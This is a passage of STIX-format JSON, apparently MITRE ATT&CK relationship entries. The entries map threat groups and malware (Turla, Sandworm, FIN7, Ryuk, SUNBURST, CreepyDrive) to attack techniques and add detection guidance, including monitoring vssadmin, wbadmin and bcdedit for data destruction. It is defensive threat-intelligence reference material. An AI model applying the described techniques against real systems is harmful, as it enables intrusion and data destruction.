"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET ComRAT May 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", "description": "Faou, M. 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Retrieved June 15, 2020."}], "modified": "2020-07-06T14:49:46.322Z", "description": "[Turla](https://attack.mitre.org/groups/G0010) has obtained information on security software, including security logging information that may indicate whether their malware has been detected.(Citation: ESET ComRAT May 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--ad8fcad2-fe74-4795-b369-eb669c75b9b5", "created": "2022-04-06T20:08:48.209Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "MalwareBytes LazyScripter Feb 2021", "url": "https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf", "description": "Jazi, H. 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Retrieved November 24, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[KOCTOPUS](https://attack.mitre.org/software/S0669) has relied on victims clicking on a malicious link delivered via email.(Citation: MalwareBytes LazyScripter Feb 2021)", "modified": "2022-04-06T20:08:48.209Z", "relationship_type": "uses", "source_ref": "malware--df9b350b-d4f9-4e79-a826-75cc75fbc1eb", "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ad8fdfa4-5e0b-437d-9723-9bc5a272f465", "type": "relationship", "created": "2020-06-29T03:27:51.019Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET ComRAT May 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", "description": "Faou, M. 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Retrieved November 9, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/", "source_name": "Unit 42 Tropic Trooper Nov 2016"}], "modified": "2019-06-30T22:44:28.217Z", "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has executed commands through Microsoft security vulnerabilities, including CVE-2017-11882, CVE-2018-0802, and CVE-2012-0158.(Citation: TrendMicro Tropic Trooper Mar 2018)(Citation: Unit 42 Tropic Trooper Nov 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ad949bd4-7ffd-4712-91d8-4a8523db6b50", "created": "2020-06-10T21:56:40.261Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Microsoft Prestige ransomware October 2022", "description": "MSTIC. (2022, October 14). New \u201cPrestige\u201d ransomware impacts organizations in Ukraine and Poland. Retrieved January 19, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/"}, {"source_name": "US-CERT Ukraine Feb 2016", "description": "US-CERT. (2016, February 25). ICS Alert (IR-ALERT-H-16-056-01) Cyber-Attack Against Ukrainian Critical Infrastructure. Retrieved June 10, 2020.", "url": "https://www.us-cert.gov/ics/alerts/IR-ALERT-H-16-056-01"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-13T18:20:56.359Z", "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has used remote administration tools or remote industrial control system client software for execution and to maliciously release electricity breakers.(Citation: US-CERT Ukraine Feb 2016)(Citation: Microsoft Prestige ransomware October 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ad9f56c2-efb9-421e-99f5-d82396f89440", "created": "2023-12-06T20:21:24.870Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Sygnia Emperor Dragonfly October 2022", "description": "Biderman, O. et al. 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Retrieved March 10, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-12-21T21:44:00.419Z", "description": "(Citation: Microsoft Ransomware as a Service)(Citation: Sygnia Emperor Dragonfly October 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--8b1e16f6-e7c8-4b7a-a5df-f81232c13e2f", "target_ref": "tool--26c87906-d750-42c5-946c-d4162c73fc7b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ada291f4-524c-4400-9425-0936a03d4a41", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html", "description": "Carr, N., et al. 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Retrieved August 23, 2018.", "source_name": "FireEye FIN7 Aug 2018"}], "modified": "2020-03-20T21:11:57.197Z", "description": "[FIN7](https://attack.mitre.org/groups/G0046) used legitimate services like Google Docs, Google Scripts, and Pastebin for C2.(Citation: FireEye FIN7 Aug 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ada55a0e-2f38-4da1-9ebd-8dd2f2461dfc", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 RGDoor Jan 2018", "description": "Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/"}], "modified": "2020-03-17T02:29:16.138Z", "description": "[RGDoor](https://attack.mitre.org/software/S0258) executes the <code>whoami</code> on the victim\u2019s machine.(Citation: Unit 42 RGDoor Jan 2018)", "relationship_type": "uses", "source_ref": "malware--b9eec47e-98f4-4b3c-b574-3fa8a87ebe05", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ada86d8c-2c88-442d-8f7a-d9e53937a3f2", "created": "2022-09-26T21:41:08.513Z", "revoked": false, "external_references": [{"source_name": "McAfee Sharpshooter December 2018", "description": "Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). 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(2018, May 22). Turla Mosquito: A shift towards more generic tools. Retrieved July 3, 2018.", "source_name": "ESET Turla Mosquito May 2018"}, {"description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/", "source_name": "ESET Turla PowerShell May 2019"}, {"source_name": "Symantec Waterbug Jun 2019", "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments", "description": "Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. 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Retrieved June 6, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Shark](https://attack.mitre.org/software/S1019) can delete files downloaded to the compromised host.(Citation: ClearSky Siamesekitten August 2021)", "modified": "2022-06-13T15:30:05.676Z", "relationship_type": "uses", "source_ref": "malware--99854cc8-f202-4e03-aa0a-4f8a4af93229", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--adbb2fb8-9a9f-4068-b123-7b557491861d", "type": "relationship", "created": "2020-05-14T13:59:58.140Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CrowdStrike Ryuk January 2019", "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/", "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."}, {"source_name": "CrowdStrike Wizard Spider October 2020", "url": "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/", "description": "Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021."}], "modified": "2021-06-15T15:49:37.037Z", "description": "[Ryuk](https://attack.mitre.org/software/S0446) has used a combination of symmetric (AES) and asymmetric (RSA) encryption to encrypt files. Files have been encrypted with their own AES key and given a file extension of .RYK. Encrypted directories have had a ransom note of RyukReadMe.txt written to the directory.(Citation: CrowdStrike Ryuk January 2019)(Citation: CrowdStrike Wizard Spider October 2020)", "relationship_type": "uses", "source_ref": "malware--a020a61c-423f-4195-8c46-ba1d21abba37", "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--adbec5d6-1ffe-4b0b-ae03-9c690ff5c507", "type": "relationship", "created": "2019-10-11T16:04:32.121Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye FIN7 Oct 2019", "url": "https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html", "description": "Carr, N, et all. (2019, October 10). Mahalo FIN7: Responding to the Criminal Operators\u2019 New Tools and Techniques. Retrieved October 11, 2019."}], "modified": "2019-10-11T16:04:32.121Z", "description": "[BOOSTWRITE](https://attack.mitre.org/software/S0415) has been signed by a valid CA.(Citation: FireEye FIN7 Oct 2019)", "relationship_type": "uses", "source_ref": "malware--56d10a7f-bb42-4267-9b4c-63abb9c06010", "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--adbee939-28b3-4932-9e8d-992b7fdca835", "type": "relationship", "created": "2020-12-01T14:06:57.090Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NCC Group Team9 June 2020", "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."}], "modified": "2020-12-01T14:06:57.090Z", "description": "[Bazar](https://attack.mitre.org/software/S0534) can use a timer to delay execution of core functionality.(Citation: NCC Group Team9 June 2020)", "relationship_type": "uses", "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", "target_ref": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--adc3fbb4-955e-4861-ac19-4c2b546d562d", "created": "2022-04-15T12:39:49.564Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Microsoft Actinium February 2022", "url": "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/", "description": "Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[QuietSieve](https://attack.mitre.org/software/S0686) can identify and search removable drives for specific file name extensions.(Citation: Microsoft Actinium February 2022)", "modified": "2022-04-15T12:39:49.564Z", "relationship_type": "uses", "source_ref": "malware--03eb4a05-6a02-43f6-afb7-3c7835501828", "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--adc6b431-0722-4287-8f37-e09ddb5b25fe", "created": "2019-09-24T12:31:43.557Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye APT41 Aug 2019", "description": "Fraser, N., et al. (2019, August 7). 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Ukraine remains Russia\u2019s biggest cyber focus in 2023. Retrieved March 1, 2024.", "url": "https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023/"}, {"source_name": "NSA Sandworm 2020", "description": "National Security Agency. (2020, March 28). Sandworm Actors Exploiting Vulnerability In EXIM Mail Transfer Agent. Retrieved March 1, 2024.", "url": "https://media.defense.gov/2020/May/28/2002306626/-1/-1/0/CSA%20Sandworm%20Actors%20Exploiting%20Vulnerability%20in%20Exim%20Transfer%20Agent%2020200528.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-01T18:53:20.516Z", "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) compromised legitimate Linux servers running the EXIM mail transfer agent for use in subsequent campaigns.(Citation: NSA Sandworm 2020)(Citation: Leonard TAG 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", "target_ref": "attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--adcf8267-dc71-4397-a02a-f4d03108281f", "type": "relationship", "created": "2022-03-30T14:26:51.841Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.841Z", "description": "Monitor executed commands and arguments for actions involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--add09428-6eda-4cb2-8817-008038ed4f00", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "McAfee Netwire Mar 2015", "description": "McAfee. (2015, March 2). Netwire RAT Behind Recent Targeted Attacks. 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(2020, May 25). Qakbot Resurges, Spreads through VBS Files. Retrieved September 27, 2021."}], "modified": "2021-09-27T20:05:02.114Z", "description": "[QakBot](https://attack.mitre.org/software/S0650) can identify peripheral devices on targeted systems.(Citation: Trend Micro Qakbot May 2020)", "relationship_type": "uses", "source_ref": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--addc6473-9aa0-4c46-9e6a-2a58c47da0fe", "created": "2022-07-07T14:52:56.844Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Microsoft POLONIUM June 2022", "url": "https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/", "description": "Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[CreepyDrive](https://attack.mitre.org/software/S1023) can use Powershell for execution, including the cmdlets `Invoke-WebRequest` and `Invoke-Expression`.(Citation: Microsoft POLONIUM June 2022)", "modified": "2022-08-08T20:13:11.032Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--750eb92a-7fdf-451e-9592-1d42357018f1", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ade42bce-dfa6-4a34-8a42-dad089debbd0", "type": "relationship", "created": "2021-01-06T16:56:56.338Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye SUNBURST Backdoor December 2020", "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."}], "modified": "2021-01-06T16:56:56.338Z", "description": "[SUNBURST](https://attack.mitre.org/software/S0559) added junk bytes to its C2 over HTTP.(Citation: FireEye SUNBURST Backdoor December 2020)", "relationship_type": "uses", "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", "target_ref": "attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ade60661-8dfb-473a-8d12-014ba0273934", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Zscaler Kasidet", "description": "Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.", "url": "http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html"}], "modified": "2020-03-16T17:02:26.250Z", "description": "[Kasidet](https://attack.mitre.org/software/S0088) has the ability to initiate keylogging and screen captures.(Citation: Zscaler Kasidet)", "relationship_type": "uses", "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ade72853-1a09-417f-ad84-db50280c326c", "type": "relationship", "created": "2022-03-30T14:26:51.844Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.844Z", "description": "Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more. (Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.\nMachine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain is related to a legitimate host or DGA. (Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated(Citation: Elastic Predicting DGA)]", "source_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", "target_ref": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Data Driven Security DGA", "description": "Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.", "url": "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/"}, {"source_name": "Pace University Detecting DGA May 2017", "description": "Chen, L., Wang, T.. (2017, May 5). Detecting Algorithmically Generated Domains Using Data Visualization and N-Grams Methods . Retrieved April 26, 2019.", "url": "http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf"}, {"source_name": "Elastic Predicting DGA", "description": "Ahuja, A., Anderson, H., Grant, D., Woodbridge, J.. (2016, November 2). Predicting Domain Generation Algorithms with Long Short-Term Memory Networks. Retrieved April 26, 2019.", "url": "https://arxiv.org/pdf/1611.00791.pdf"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ade72dc6-559e-4a84-9024-1a862faec6a0", "type": "relationship", "created": "2017-05-31T21:33:27.071Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf", "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", "source_name": "FireEye FIN6 April 2016"}], "modified": "2019-06-28T14:59:17.521Z", "description": "[FIN6](https://attack.mitre.org/groups/G0037) used publicly available tools (including Microsoft's built-in SQL querying tool, osql.exe) to map the internal network and conduct reconnaissance against Active Directory, Structured Query Language (SQL) servers, and NetBIOS.(Citation: FireEye FIN6 April 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ade847d9-4ce6-4b63-accb-7070c926e5b5", "type": "relationship", "created": "2020-11-13T20:12:59.690Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Grandoreiro April 2020", "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}], "modified": "2020-11-13T20:12:59.690Z", "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can decrypt its encrypted internal strings.(Citation: ESET Grandoreiro April 2020)", "relationship_type": "uses", "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ade8894f-e9fd-4391-98c3-d43ad2d7ab9c", "type": "relationship", "created": "2019-05-02T01:07:36.954Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cylance Shaheen Nov 2018", "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517", "description": "Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019."}, {"description": "Gannon, M. (2019, February 11). With Upgrades in Delivery and Support Infrastructure, Revenge RAT Malware is a Bigger Threat. Retrieved May 1, 2019.", "url": "https://cofense.com/upgrades-delivery-support-infrastructure-revenge-rat-malware-bigger-threat/", "source_name": "Cofense RevengeRAT Feb 2019"}], "modified": "2019-06-12T20:05:18.272Z", "description": "[Revenge RAT](https://attack.mitre.org/software/S0379) has a plugin for microphone interception.(Citation: Cylance Shaheen Nov 2018)(Citation: Cofense RevengeRAT Feb 2019)", "relationship_type": "uses", "source_ref": "malware--bdb27a1d-1844-42f1-a0c0-826027ae0326", "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ade90c6d-38cd-4d04-9883-489b8de6f40a", "type": "relationship", "created": "2022-03-30T14:26:51.842Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.842Z", "description": "Monitor for newly constructed containers that may deploy a container into an environment to facilitate execution or evade defenses.", "source_ref": "x-mitre-data-component--a5ae90ca-0c4b-481c-959f-0eb18a7ff953", "target_ref": "attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--adf7a6a5-91b0-4c37-9fa5-0bfbb382a838", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Dragonfly", "description": "Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", "url": "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments"}], "modified": "2020-03-19T22:23:55.584Z", "description": "Some [Backdoor.Oldrea](https://attack.mitre.org/software/S0093) samples contain a publicly available Web browser password recovery tool.(Citation: Symantec Dragonfly)", "relationship_type": "uses", "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--adfb3bef-264c-46c7-ac54-de9a0ac382b7", "type": "relationship", "created": "2022-03-30T14:26:51.871Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.871Z", "description": "Monitor contextual data about a running process, which may include information such as environment variables, image name, user/owner that may perform sudo caching and/or use the suoders file to elevate privileges.", "source_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", 